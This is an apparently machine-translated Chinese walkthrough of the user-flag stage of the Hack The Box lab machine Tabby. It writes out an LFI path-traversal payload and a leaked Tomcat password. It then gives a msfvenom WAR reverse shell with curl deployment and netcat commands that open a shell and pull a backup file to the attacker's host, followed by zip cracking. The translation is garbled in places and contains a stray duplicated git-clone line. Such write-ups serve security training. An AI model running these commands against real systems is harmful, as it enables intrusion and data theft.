这是机器的用户标记演练或解决方案塔比在Hack The Box上。这台机器是基于Linux的机器, 我们必须同时拥有root和用户。它的难度等级是简单并有一个IP10.10.10.194对我来说, 这可能取决于你的帐户。机器的链接是https://www.hackthebox.eu/home/machines/profile/259.
获取机器用户标志的步骤
1.执行Nmap扫描。
nmap -sV -sC 10.10.10.194
更换10.10.10.194与你计算机的IP地址。
结果表明, 三个端口分别是开放的http分别为80和8080, ssh为22。
2.通过访问浏览器上的IP地址访问网页
在浏览器中打开IP地址, 然后单击导航栏上的每个导航项。
点击所有导航栏项目后, 我们发现新闻导航项正在将我们重定向到URLhttp://megahosting.htb/news.php?file=statement.
更换megahosting.htb与机器的相应IP。做同样的事情给我们3.e以下输出。
门户网站似乎容易受到攻击本地文件包含.并且, 如果存在本地文件包含漏洞, 我们将重点关注下列项目。
- 服务器日志(Apache和SSH)
- 邮件记录
- 的/ proc /自我/环境文件
- / etc / passwd文件以获取用户的用户名以阅读邮件日志
3.尝试本地文件包含有效负载
输入../../../../etc/passwd在file参数中查看passwd文件或直接访问链接http://10.10.10.194/news.php?file=../../../../etc/passwd\将IP地址替换为你各自的IP地址。并打印passwd文件。
可以看出, passwd fille已打印, 因此, 可以肯定的是, 我们必须做一些远程执行代码通过这个。
4.访问8080端口
枚举上述所有URL后, 将没有结果。因此, 让我们尝试找出通过nmap打开的HTTP端口8080的内容。访问网址10.10.10.194:8080并打印以下结果。
这给了我们一些暗示, 我们必须对Apache做一些事情。在点击所有链接时, 当我们点击manager_webapp链接, 要求输入用户名和密码。现在很明显, 我们必须获取Apache Web服务器admin的密码。
5.获取Apache Web服务器主机密码:
现在, 所有这些已经很清楚了, 我们需要Apache用户名和密码才能继续。为了获得密码和用户名, 我们必须浏览一些Apache配置文件, 然后查找每个文件, 因为它们都是XML文件, 因此我们甚至还需要查看源代码。在强制执行所有Apache目录进行配置之后, 用户名和密码位于/usr/share/tomcat9/etc/tomcat-users.xml。访问URLhttp://10.10.10.194/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml将返回一个空白页但在调查其源代码我们可以清楚地看到密码和用户名。
username : tomcat
password : $3cureP4s5w0rd123!
6.创建一个新的虚拟主机并上传反向Shell有效负载文件。
到目前为止, 我们已经获得了主机名和密码。现在尝试从链接在主页os端口8080上。它将询问密码和用户名。在此处输入上述凭据, 你现在将以主机身份登录。 Apache允许我们使用终端创建虚拟主机, 通过创建新的虚拟主机, 我们可以使用该终端注入战争有效载荷。
输入以下命令以使用metasploit创建反向外壳有效载荷
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<hackthebox_IP> LPORT=4444 -f war> shell.war
用你的hackthebox IP地址更改<hackthebox_IP>。
输入以下命令以使用新创建的有效负载文件创建虚拟主机贝壳大战
curl -u 'tomcat':'$3cureP4s5w0rd123!' -T shell.war 'http://10.10.10.194:8080/manager/text/deploy?path=/rev_shell'
在新的终端窗口中输入以下命令以开始侦听shell.war文件中提到的端口。
nc -nvlp 4444
7.得到一个合适的外壳
现在该执行外壳程序了。为此, 请输入以下命令。
curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/rev_shell/
现在, 我们在正在监听端口4444的终端窗口中获得了外壳程序。
所以最后我们有了一个外壳。是时候让它成为交互式的机器人了, 因为它不是交互式的。
为了使其互动, 这里是要输入的命令序列。
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
press ctrl+z key combination
stty raw -echo
fg
因此, 到目前为止, 我们已经可以使用交互式外壳程序。
8.查找并下载备份文件以进行特权升级。
将目录更改为/ var/www/html。现在检查一些可能有助于特权升级的文件。将当前目录更改为文件。接下来, 我们有一个名为"16162020_backup.zip"。
让我们使用nc命令下载相同的文件。打开另一个终端, 然后在其中输入以下命令。
nc -lvnp 1234> 16162020_backup.zip
在机器终端中输入以下命令以下载文件
nc -w 4 <your_hackthebox_ip> 1234 <16162020_backup.zip
现在我们有了备份文件。
9.解压缩备份文件。
解压缩备份文件时, 发现该文件受密码保护。所以我们将不得不破解它, 为此我们将使用fcrackzip工具。输入以下命令以破坏该文件的密码。git克隆https://github.com/saghul/lxd-alpine-builder.gitgit克隆https://github.com/saghul/lxd-alpine-builder.git
fcrackzip -v -D -u -p /usr/share/dict/words secret.zip
破解的备份zip文件图像小部件。
然后, 我们得到的密码为"admin @ it"。因此, 到目前为止, 我们已经有了密码和压缩文件。现在该用各自的密码解压缩了。
输入以下命令以从压缩文件中提取文件和目录。
unzip 16162020_backup.zip
打开所有提取的文件之后, 没有什么可以帮助我们获取标志或进行特权升级的。因此, 下一步是尝试使用我们收到的密码将用户切换为"灰"。
10.获取用户哈希
使用"灰"用户名和密码为"admin @ it"。
可以看出, 我们已切换到用户"灰", 并且我们拥有ash用户的密码, 现在该获取用户哈希并提交该密码了。执行以下命令以获取哈希。
cat /home/ash/user.txt
现在, 当我浏览整个/ home/ash目录时, 没有什么可以帮助我们获取根标志的。